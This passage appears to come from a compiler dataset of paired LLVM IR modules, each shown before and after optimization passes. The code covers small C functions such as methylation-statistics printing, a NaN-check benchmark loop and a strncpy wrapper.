%40 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %38, ptr noundef @.str.12, i32 noundef %39)
%41 = load ptr, ptr %3, align 8
%42 = call i32 (...) @getTotalUnMethylatedQuality20()
%43 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %41, ptr noundef @.str.13, i32 noundef %42)
%44 = load ptr, ptr %3, align 8
%45 = call i32 (...) @getTotalMethylatedHomozygous()
%46 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %44, ptr noundef @.str.14, i32 noundef %45)
%47 = load ptr, ptr %3, align 8
%48 = call i32 (...) @getTotalMethylatedHomozygousQuality20()
%49 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %47, ptr noundef @.str.15, i32 noundef %48)
%50 = load ptr, ptr %3, align 8
%51 = call i32 (...) @getTotalMethylatedAlternativeCX()
%52 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %50, ptr noundef @.str.16, i32 noundef %51)
%53 = load ptr, ptr %3, align 8
%54 = call i32 (...) @getTotalMethylatedAlternativeCXQuality20()
%55 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %53, ptr noundef @.str.17, i32 noundef %54)
%56 = load ptr, ptr %3, align 8
%57 = call i32 (...) @getTotalIntermediateMethylatedHomozygous()
%58 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %56, ptr noundef @.str.18, i32 noundef %57)
%59 = load ptr, ptr %3, align 8
%60 = call i32 (...) @getTotalIntermediateMethylatedHomozygousQuality20()
%61 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %59, ptr noundef @.str.19, i32 noundef %60)
%62 = load ptr, ptr %3, align 8
%63 = call i32 (...) @getTotalIntermediateMethylatedAlternativeCX()
%64 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %62, ptr noundef @.str.20, i32 noundef %63)
%65 = load ptr, ptr %3, align 8
%66 = call i32 (...) @getTotalIntermediateMethylatedAlternativeCXQuality20()
%67 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %65, ptr noundef @.str.21, i32 noundef %66)
%68 = load ptr, ptr %3, align 8
%69 = call i32 (...) @getTotalUnMethylatedHomozygous()
%70 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %68, ptr noundef @.str.22, i32 noundef %69)
%71 = load ptr, ptr %3, align 8
%72 = call i32 (...) @getTotalUnMethylatedHomozygousQuality20()
%73 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %71, ptr noundef @.str.23, i32 noundef %72)
%74 = load ptr, ptr %3, align 8
%75 = call i32 (...) @getTotalUnMethylatedAlternativeCX()
%76 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %74, ptr noundef @.str.24, i32 noundef %75)
%77 = load ptr, ptr %3, align 8
%78 = call i32 (...) @getTotalUnMethylatedAlternativeCXQuality20()
%79 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %77, ptr noundef @.str.25, i32 noundef %78)
%80 = load ptr, ptr %3, align 8
%81 = call i32 (...) @getTotalNonReferenceCpgs()
%82 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %80, ptr noundef @.str.26, i32 noundef %81)
%83 = load ptr, ptr %3, align 8
%84 = call i32 (...) @getTotalNonReferenceCpgsQuality20()
%85 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %83, ptr noundef @.str.27, i32 noundef %84)
%86 = load ptr, ptr %3, align 8
%87 = call i32 (...) @getTotalNonReferenceCpgsMethylated()
%88 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %86, ptr noundef @.str.28, i32 noundef %87)
%89 = load ptr, ptr %3, align 8
%90 = call i32 (...) @getTotalNonReferenceCpgsMethylatedQuality20()
%91 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %89, ptr noundef @.str.29, i32 noundef %90)
%92 = load ptr, ptr %3, align 8
%93 = call i32 (...) @getTotalNonReferenceCpgsIntermediateMethylated()
%94 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %92, ptr noundef @.str.30, i32 noundef %93)
%95 = load ptr, ptr %3, align 8
%96 = call i32 (...) @getTotalNonReferenceCpgsIntermediateMethylatedQuality20()
%97 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %95, ptr noundef @.str.31, i32 noundef %96)
%98 = load ptr, ptr %3, align 8
%99 = call i32 (...) @getTotalNonReferenceCpgsUnMethylated()
%100 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %98, ptr noundef @.str.32, i32 noundef %99)
%101 = load ptr, ptr %3, align 8
%102 = call i32 (...) @getTotalNonReferenceCpgsUnMethylatedQuality20()
%103 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %101, ptr noundef @.str.33, i32 noundef %102)
%104 = load ptr, ptr %3, align 8
%105 = call i32 (...) @getTotalSnpsReferenceCpGs()
%106 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %104, ptr noundef @.str.34, i32 noundef %105)
%107 = load ptr, ptr %3, align 8
%108 = call i32 (...) @getTotalSnpsReferenceCpGsQuality20()
%109 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %107, ptr noundef @.str.35, i32 noundef %108)
%110 = load ptr, ptr %3, align 8
%111 = call i32 (...) @getTotalSnpsReferenceCpGsMethylated()
%112 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %110, ptr noundef @.str.36, i32 noundef %111)
%113 = load ptr, ptr %3, align 8
%114 = call i32 (...) @getTotalSnpsReferenceCpGsMethylatedQuality20()
%115 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %113, ptr noundef @.str.37, i32 noundef %114)
%116 = load ptr, ptr %3, align 8
%117 = call i32 (...) @getTotalSnpsReferenceCpGsIntermediateMethylated()
%118 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %116, ptr noundef @.str.38, i32 noundef %117)
%119 = load ptr, ptr %3, align 8
%120 = call i32 (...) @getTotalSnpsReferenceCpGsIntermediateMethylatedQuality20()
%121 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %119, ptr noundef @.str.39, i32 noundef %120)
%122 = load ptr, ptr %3, align 8
%123 = call i32 (...) @getTotalSnpsReferenceCpGsUnMethylated()
%124 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %122, ptr noundef @.str.40, i32 noundef %123)
%125 = load ptr, ptr %3, align 8
%126 = call i32 (...) @getTotalSnpsReferenceCpGsUnMethylatedQuality20()
%127 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %125, ptr noundef @.str.41, i32 noundef %126)
%128 = load ptr, ptr %3, align 8
%129 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %128, ptr noundef @.str.42)
%130 = load ptr, ptr %3, align 8
%131 = call i32 @fclose(ptr noundef %130)
ret void
}
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @fprintf(ptr noundef, ptr noundef, ...) #1
declare i32 @getTotalDinucleotides(...) #1
declare i32 @getTotalQuality20(...) #1
declare i32 @getTotalHomozygous(...) #1
declare i32 @getTotalHomozygousQuality20(...) #1
declare i32 @getTotalAlternativeCX(...) #1
declare i32 @getTotalAlternativeCXQuality20(...) #1
declare i32 @getTotalMethylated(...) #1
declare i32 @getTotalMethylatedQuality20(...) #1
declare i32 @getTotalIntermediateMethylated(...) #1
declare i32 @getTotalIntermediateMethylatedQuality20(...) #1
declare i32 @getTotalUnMethylated(...) #1
declare i32 @getTotalUnMethylatedQuality20(...) #1
declare i32 @getTotalMethylatedHomozygous(...) #1
declare i32 @getTotalMethylatedHomozygousQuality20(...) #1
declare i32 @getTotalMethylatedAlternativeCX(...) #1
declare i32 @getTotalMethylatedAlternativeCXQuality20(...) #1
declare i32 @getTotalIntermediateMethylatedHomozygous(...) #1
declare i32 @getTotalIntermediateMethylatedHomozygousQuality20(...) #1
declare i32 @getTotalIntermediateMethylatedAlternativeCX(...) #1
declare i32 @getTotalIntermediateMethylatedAlternativeCXQuality20(...) #1
declare i32 @getTotalUnMethylatedHomozygous(...) #1
declare i32 @getTotalUnMethylatedHomozygousQuality20(...) #1
declare i32 @getTotalUnMethylatedAlternativeCX(...) #1
declare i32 @getTotalUnMethylatedAlternativeCXQuality20(...) #1
declare i32 @getTotalNonReferenceCpgs(...) #1
declare i32 @getTotalNonReferenceCpgsQuality20(...) #1
declare i32 @getTotalNonReferenceCpgsMethylated(...) #1
declare i32 @getTotalNonReferenceCpgsMethylatedQuality20(...) #1
declare i32 @getTotalNonReferenceCpgsIntermediateMethylated(...) #1
declare i32 @getTotalNonReferenceCpgsIntermediateMethylatedQuality20(...) #1
declare i32 @getTotalNonReferenceCpgsUnMethylated(...) #1
declare i32 @getTotalNonReferenceCpgsUnMethylatedQuality20(...) #1
declare i32 @getTotalSnpsReferenceCpGs(...) #1
declare i32 @getTotalSnpsReferenceCpGsQuality20(...) #1
declare i32 @getTotalSnpsReferenceCpGsMethylated(...) #1
declare i32 @getTotalSnpsReferenceCpGsMethylatedQuality20(...) #1
declare i32 @getTotalSnpsReferenceCpGsIntermediateMethylated(...) #1
declare i32 @getTotalSnpsReferenceCpGsIntermediateMethylatedQuality20(...) #1
declare i32 @getTotalSnpsReferenceCpGsUnMethylated(...) #1
declare i32 @getTotalSnpsReferenceCpGsUnMethylatedQuality20(...) #1
declare i32 @fclose(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp1qcdgz16.c'
source_filename = "/tmp/tmp1qcdgz16.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [23 x i8] c"should not return NaN\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @benchmark() #0 {
%1 = alloca double, align 8
%2 = alloca double, align 8
%3 = alloca double, align 8
%4 = alloca double, align 8
%5 = alloca i32, align 4
%6 = call double (...) @tic()
store double %6, ptr %4, align 8
store i32 0, ptr %5, align 4
br label %7
7: ; preds = %21, %0
%8 = load i32, ptr %5, align 4
%9 = icmp slt i32 %8, 1000000
br i1 %9, label %10, label %24
10: ; preds = %7
%11 = call double (...) @rand_double()
%12 = call double @llvm.fmuladd.f64(double 1.000000e+03, double %11, double -5.000000e+02)
store double %12, ptr %2, align 8
%13 = load double, ptr %2, align 8
%14 = call double @llvm.fabs.f64(double %13)
store double %14, ptr %3, align 8
%15 = load double, ptr %3, align 8
%16 = load double, ptr %3, align 8
%17 = fcmp une double %15, %16
br i1 %17, label %18, label %20
18: ; preds = %10
%19 = call i32 @printf(ptr noundef @.str)
br label %24
20: ; preds = %10
br label %21
21: ; preds = %20
%22 = load i32, ptr %5, align 4
%23 = add nsw i32 %22, 1
store i32 %23, ptr %5, align 4
br label %7, !llvm.loop !6
24: ; preds = %18, %7
%25 = call double (...) @tic()
%26 = load double, ptr %4, align 8
%27 = fsub double %25, %26
store double %27, ptr %1, align 8
%28 = load double, ptr %3, align 8
%29 = load double, ptr %3, align 8
%30 = fcmp une double %28, %29
br i1 %30, label %31, label %33
31: ; preds = %24
%32 = call i32 @printf(ptr noundef @.str)
br label %33
33: ; preds = %31, %24
%34 = load double, ptr %1, align 8
ret double %34
}
declare double @tic(...) #1
declare double @rand_double(...) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #2
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fabs.f64(double) #2
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp1qcdgz16.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [23 x i8] c"should not return NaN\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @benchmark() #0 {
%1 = alloca double, align 8
%2 = alloca double, align 8
%3 = alloca double, align 8
%4 = alloca double, align 8
%5 = alloca i32, align 4
%6 = call double (...) @tic()
store double %6, ptr %4, align 8
store i32 0, ptr %5, align 4
%7 = load i32, ptr %5, align 4
%8 = icmp slt i32 %7, 1000000
br i1 %8, label %.lr.ph, label %.loopexit
.lr.ph: ; preds = %0
br label %9
9: ; preds = %.lr.ph, %20
%10 = call double (...) @rand_double()
%11 = call double @llvm.fmuladd.f64(double 1.000000e+03, double %10, double -5.000000e+02)
store double %11, ptr %2, align 8
%12 = load double, ptr %2, align 8
%13 = call double @llvm.fabs.f64(double %12)
store double %13, ptr %3, align 8
%14 = load double, ptr %3, align 8
%15 = load double, ptr %3, align 8
%16 = fcmp une double %14, %15
br i1 %16, label %17, label %19
17: ; preds = %9
%18 = call i32 @printf(ptr noundef @.str)
br label %25
19: ; preds = %9
br label %20
20: ; preds = %19
%21 = load i32, ptr %5, align 4
%22 = add nsw i32 %21, 1
store i32 %22, ptr %5, align 4
%23 = load i32, ptr %5, align 4
%24 = icmp slt i32 %23, 1000000
br i1 %24, label %9, label %..loopexit_crit_edge, !llvm.loop !6
..loopexit_crit_edge: ; preds = %20
br label %.loopexit
.loopexit: ; preds = %..loopexit_crit_edge, %0
br label %25
25: ; preds = %.loopexit, %17
%26 = call double (...) @tic()
%27 = load double, ptr %4, align 8
%28 = fsub double %26, %27
store double %28, ptr %1, align 8
%29 = load double, ptr %3, align 8
%30 = load double, ptr %3, align 8
%31 = fcmp une double %29, %30
br i1 %31, label %32, label %34
32: ; preds = %25
%33 = call i32 @printf(ptr noundef @.str)
br label %34
34: ; preds = %32, %25
%35 = load double, ptr %1, align 8
ret double %35
}
declare double @tic(...) #1
declare double @rand_double(...) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #2
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fabs.f64(double) #2
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpppme8rsv.c'
source_filename = "/tmp/tmpppme8rsv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @strncpy0(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i64, align 8
%8 = alloca ptr, align 8
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i64 %2, ptr %7, align 8
%9 = load ptr, ptr %5, align 8
%10 = icmp eq ptr %9, null
br i1 %10, label %17, label %11
11: ; preds = %3
%12 = load ptr, ptr %6, align 8
%13 = icmp eq ptr %12, null
br i1 %13, label %17, label %14
14: ; preds = %11
%15 = load i64, ptr %7, align 8
%16 = icmp ult i64 %15, 0
br i1 %16, label %17, label %18
17: ; preds = %14, %11, %3
store ptr null, ptr %4, align 8
br label %28
18: ; preds = %14
%19 = load ptr, ptr %5, align 8
%20 = load ptr, ptr %6, align 8
%21 = load i64, ptr %7, align 8
%22 = call ptr @strncpy(ptr noundef %19, ptr noundef %20, i64 noundef %21)
store ptr %22, ptr %8, align 8
%23 = load ptr, ptr %5, align 8
%24 = load i64, ptr %7, align 8
%25 = sub i64 %24, 1
%26 = getelementptr inbounds i8, ptr %23, i64 %25
store i8 0, ptr %26, align 1
%27 = load ptr, ptr %8, align 8
store ptr %27, ptr %4, align 8
br label %28
28: ; preds = %18, %17
%29 = load ptr, ptr %4, align 8
ret ptr %29
}
declare ptr @strncpy(ptr noundef, ptr noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpppme8rsv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @strncpy0(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i64, align 8
%8 = alloca ptr, align 8
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i64 %2, ptr %7, align 8
%9 = load ptr, ptr %5, align 8
%10 = icmp eq ptr %9, null
br i1 %10, label %17, label %11
11: ; preds = %3
%12 = load ptr, ptr %6, align 8
%13 = icmp eq ptr %12, null
br i1 %13, label %17, label %14
14: ; preds = %11
%15 = load i64, ptr %7, align 8
%16 = icmp ult i64 %15, 0
br i1 %16, label %17, label %18
17: ; preds = %14, %11, %3
store ptr null, ptr %4, align 8
br label %28
18: ; preds = %14
%19 = load ptr, ptr %5, align 8
%20 = load ptr, ptr %6, align 8
%21 = load i64, ptr %7, align 8
%22 = call ptr @strncpy(ptr noundef %19, ptr noundef %20, i64 noundef %21)
store ptr %22, ptr %8, align 8
%23 = load ptr, ptr %5, align 8
%24 = load i64, ptr %7, align 8
%25 = sub i64 %24, 1
%26 = getelementptr inbounds i8, ptr %23, i64 %25
store i8 0, ptr %26, align 1
%27 = load ptr, ptr %8, align 8
store ptr %27, ptr %4, align 8
br label %28
28: ; preds = %18, %17
%29 = load ptr, ptr %4, align 8
ret ptr %29
}
declare ptr @strncpy(ptr noundef, ptr noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp3g09_be2.c'
source_filename = "/tmp/tmp3g09_be2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@O_RDONLY = dso_local global i32 0, align 4
@errno = dso_local global i32 0, align 4
@stderr = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp3g09_be2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@O_RDONLY = dso_local global i32 0, align 4
@errno = dso_local global i32 0, align 4
@stderr = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpqj037206.c'
source_filename = "/tmp/tmpqj037206.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @secCanSetFileTypeOfSize(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
%5 = load ptr, ptr %3, align 8
%6 = load i32, ptr %4, align 4
%7 = call i32 @ioCanSetFileTypeOfSize(ptr noundef %5, i32 noundef %6)
ret i32 %7
}
declare i32 @ioCanSetFileTypeOfSize(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpqj037206.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @secCanSetFileTypeOfSize(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
%5 = load ptr, ptr %3, align 8
%6 = load i32, ptr %4, align 4
%7 = call i32 @ioCanSetFileTypeOfSize(ptr noundef %5, i32 noundef %6)
ret i32 %7
}
declare i32 @ioCanSetFileTypeOfSize(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmppfnkg6s5.c'
source_filename = "/tmp/tmppfnkg6s5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @pbnum(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = call i32 @pbnumbase(i32 noundef %3, i32 noundef 10, i32 noundef 0)
ret void
}
declare i32 @pbnumbase(i32 noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmppfnkg6s5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @pbnum(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = call i32 @pbnumbase(i32 noundef %3, i32 noundef 10, i32 noundef 0)
ret void
}
declare i32 @pbnumbase(i32 noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
